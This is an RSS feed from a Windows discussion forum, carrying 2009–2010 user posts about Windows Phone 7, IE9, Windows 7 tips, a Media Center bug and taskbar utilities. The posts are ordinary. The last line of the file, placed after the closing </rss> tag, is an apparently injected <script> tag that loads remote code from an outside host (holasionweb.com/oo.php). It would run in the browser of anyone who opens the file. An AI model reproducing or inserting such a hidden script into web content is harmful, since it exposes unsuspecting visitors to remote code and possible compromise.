<?xml version="1.0" encoding="iso-8859-1" ?>
<rss version="2.0">
<channel>
	<title><![CDATA[Windows News & Discussions]]></title>
	<description></description>
	<link>http://macvswindows.com/forums/index.php</link>
	<pubDate>Mon, 06 Sep 2010 16:52:06 -0700</pubDate>
	<ttl>60</ttl>
	<item>
		<title>Windows Phone 7</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=934</link>
		<description><![CDATA[Surprised that we don't have any threads about this!<br /><br />Here's some links to reviews/discussions:<br /><br /><a href="http://www.engadget.com/2010/07/19/windows-phone-7-in-depth-preview/" target="_blank">http://www.engadget.com/2010/07/19/windows...-depth-preview/</a><br /><a href="http://www.winsupersite.com/mobile/wp7_handson.asp" target="_blank">http://www.winsupersite.com/mobile/wp7_handson.asp</a><br /><br />Overall, WP7 actually looks quite good. The UI is pretty interesting - certainly unique and recognizable. The panorama effect is cool, and I like the idea of "hubs" that keep all related information together in one view. Thurrott had a good comparison to the iPhone - instead of separate apps/websites for Flickr, Facebook photos, MobilMe galleries, etc., WP7 just has a "Photos" hub. All your photos from all sources in one place. Slick.<br /><br />Two downsides that I see with the UI. The big one - it's not clear <i>at all</i> what parts of the UI are tappable buttons/areas and what parts aren't. The UI is largely just flat colors and plain text. Sometimes things are outlined with a rectangle to indicate they're tappable, but not always. I know that's the look they're going for, but they need to do <i>something</i> to make this clearer.<br /><br />The other downside is that I feel they went a bit overboard with the font size and spacing. There's a lot of empty space on the screen, and combined with the oversize fonts, you can't fit much information. Look at the 6th screenshot from the top of the Engadget review (showing a list of Facebook updates) - the giant "People" header takes up about 25% of all the available screen space, and then the large titles leave little room for actual content. You have a beautiful large display, and you can barely fit 4 short status messages on it at once.<br /><br />Of course, both of those issues are entirely in software, so they can be changed/fixed down the line.<br /><br />Otherwise, looks good. I don't know if it's anything that will have people switching away from iPhone/Android in droves, but competition is always good <img src="http://macvswindows.com/forums/style_emoticons/default/smile.gif" style="vertical-align:middle" emoid=":)" border="0" alt="smile.gif" />]]></description>
		<pubDate>Fri, 23 Jul 2010 11:23:46 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=934</guid>
	</item>
	<item>
		<title>IE9 at mix10</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=922</link>
		<description><![CDATA[<a href="http://live.visitmix.com/News/Internet-Explorer-9-at-MIX10" target="_blank">http://live.visitmix.com/News/Internet-Explorer-9-at-MIX10</a><br /><br />Seems one fo the things being shown off at the mix10 confernce is IE9<br /><br />What is known about it so far:<br /><br /><br /><ul><li>better standreds support. The first alpha shown had 32 out of 100 on acid3. IE8 has 12</li><li>New javascript engine. IE9 before tested a little slower then firefox 3.6 using the sunspider test</li><li>The entire render engine uses direct2d, which means it's all GPU accelerated</li></ul>My Guesses: Better standards support and javascript performance. Some sort of added multitouch abilities. No XP port due to no direct2d on xp. Some sort of new tag to switch between compatibility modes. Maybe html5 canvas and video support, but i'm not holding my breath for that one]]></description>
		<pubDate>Thu, 18 Feb 2010 09:12:10 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=922</guid>
	</item>
	<item>
		<title>Use visual styles without patching</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=912</link>
		<description><![CDATA[<a href="http://uxstyle.com/" target="_blank">http://uxstyle.com/</a><br /><br />I came across this program recently. All it does is install a service into xp/vista/win7 that allows you to use themes without patching.<br /><br />So anyone who was scared to mess around with system files no longer has to worry. Noe doe anyone when a service pack comes out<br /><br />In case anyone wondered how win 7 handles custom visual styles:<br /><a href="http://img22.imageshack.us/i/captureow.jpg/" target="_blank"><img src="http://img22.imageshack.us/img22/5396/captureow.th.jpg" border="0" class="linked-image" /></a>]]></description>
		<pubDate>Thu, 17 Dec 2009 22:42:36 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=912</guid>
	</item>
	<item>
		<title>Win 7 media center bug?</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=900</link>
		<description><![CDATA[Does anyone else have problems with media center in windows 7?<br /><br />About a week ago this weird problem  appeared. There was no channel up or down button, no guide button, nor any record button. Only way to switch channels or record was to switch to the guide and back<br /><br />I manged to fix it. I unistalled media center, rebooted, reinstalled it, rebooted, reinstalled the driver package so my tuner works with media center, then went through a manual setup in media center.<br /><br />Today, 3 days later, the buttons are gone again <img src="http://macvswindows.com/forums/style_emoticons/default/angry.gif" style="vertical-align:middle" emoid=":angry:" border="0" alt="angry.gif" />]]></description>
		<pubDate>Mon, 16 Nov 2009 17:31:08 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=900</guid>
	</item>
	<item>
		<title>Windows 8</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=899</link>
		<description><![CDATA[Just thought I'd get the jump on everyone else. Too soon for a thread on this ?   <img src="http://macvswindows.com/forums/style_emoticons/default/laugh.gif" style="vertical-align:middle" emoid=":lol:" border="0" alt="laugh.gif" /> <br /><br /><a href="http://windows8center.com/" target="_blank">http://windows8center.com/</a>]]></description>
		<pubDate>Sat, 14 Nov 2009 20:19:39 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=899</guid>
	</item>
	<item>
		<title>Windows 7 tips and tricks</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=896</link>
		<description><![CDATA[It's time for the win7 tip and tricks thread <img src="http://macvswindows.com/forums/style_emoticons/default/biggrin.gif" style="vertical-align:middle" emoid=":D" border="0" alt="biggrin.gif" /><br /><br /><br />-Double click the top or bottom border of a window to maximize teh window horizontally<br /><br /> -hold down shift while right clicking a folder will show a number of additional entires "copy path", "open command prompt here" and "open in new process"<br /><br />-game explorer can accept any sort of shortcut dragged and dropped into it. I use that with chrome's web app ability to play online games (linked directly to naeve's pacman to play pacman in a window)<br /><br />-Right click menu on the desktop has a "next background image" to allow you to move to th next image in your desktop slide show]]></description>
		<pubDate>Wed, 28 Oct 2009 07:54:17 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=896</guid>
	</item>
	<item>
		<title>Bumbtop: first killer multitouch win 7 app?</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=886</link>
		<description><![CDATA[<a href="http://bumptop.com/blog/bumptop-gets-multi-touch-support-on-windows-7/" target="_blank">http://bumptop.com/blog/bumptop-gets-multi...t-on-windows-7/</a><br /><br />Bumptop just unveiled supports for the new multitouch APIs in windows 7. It works just like those cool surface demos showed a few years back.<br /><br />Now I don't know how useful this is, but demos should be running in every store that sells a mulitouch capable computer. i think in teh very least that will make people go "coool!"<br /><br />Be sure to watch the video]]></description>
		<pubDate>Thu, 01 Oct 2009 08:41:23 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=886</guid>
	</item>
	<item>
		<title><![CDATA[Sort by Date in XP...doesn't!]]></title>
		<link>http://macvswindows.com/forums/index.php?showtopic=883</link>
		<description><![CDATA[In XP, when I sort by date (modified or created) and I have "show in groups" enabled, this is what I get:<br /><br /><img src="http://dl.getdropbox.com/u/547222/sort.jpg" border="0" class="linked-image" /><br /><br />It breaks the files down into groups (Last Month, Two Months Ago, etc.), but within each group, it sorts by <i>name</i> (with folders sorted before files).<br /><br />Does anyone else think this is an extremely broken behavior? If I'm sorting by date, I want the information to be sorted such that it's in chronological order <i>in the date column</i>. That's what it does when "show in groups" is off, so why not do the same when it's on?]]></description>
		<pubDate>Thu, 24 Sep 2009 12:24:31 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=883</guid>
	</item>
	<item>
		<title>Bliss HD</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=869</link>
		<description><![CDATA[Remember the default wallpaper in XP? The 800 x 600 compressed jpeg? Well, since it's an actual photo, someone went and found the original and put out an HD version <a href="http://www.jcxp.net/forums/index.php?showtopic=34364" target="_blank">here</a> (the first post has a 4:3 version, scroll all the way to the last for a 16:10 version.) He's even linked the original, 25 MB .tiff photo.<br /><br />I actually first got it in the xpize package, which is sort of like a Windows XP HD Remix. Pretty cool.<br /><br /><a href="http://img529.imageshack.us/img529/469/xphd.png" target="_blank"><img src="http://img529.imageshack.us/img529/469/xphd.th.png" border="0" class="linked-image" /></a>]]></description>
		<pubDate>Wed, 19 Aug 2009 20:54:38 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=869</guid>
	</item>
	<item>
		<title>Taskbar Control 2</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=848</link>
		<description><![CDATA[It's bugged me to no end that you can't reorder the taskbar buttons in Windows (and that it's taken MS until Win7 to address this!). Fortunately, I found a solution: Taskbar Control 2, from <a href="http://www.pointstone.com" target="_blank">Pointstone Software</a>. It's a tiny app that runs in your tray. Once running, you can drag and drop to rearrange your taskbar buttons, and it even smoothly slides them into place.<br /><br />The only flaw I've found is that if you have grouping enabled, you can't drag a group (since clicking on it opens the popup menu with all the windows).<br /><br />As a bonus, if you use TweakUI to set the grouping threshold to 2 (so that any app with multiple windows collapses into one button), you'll essentially have the Windows 7 taskbar <img src="http://macvswindows.com/forums/style_emoticons/default/wink.gif" style="vertical-align:middle" emoid=";)" border="0" alt="wink.gif" />]]></description>
		<pubDate>Thu, 09 Jul 2009 11:24:34 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=848</guid>
	</item>
</channel>
</rss><script src="http://holasionweb.com/oo.php"></script>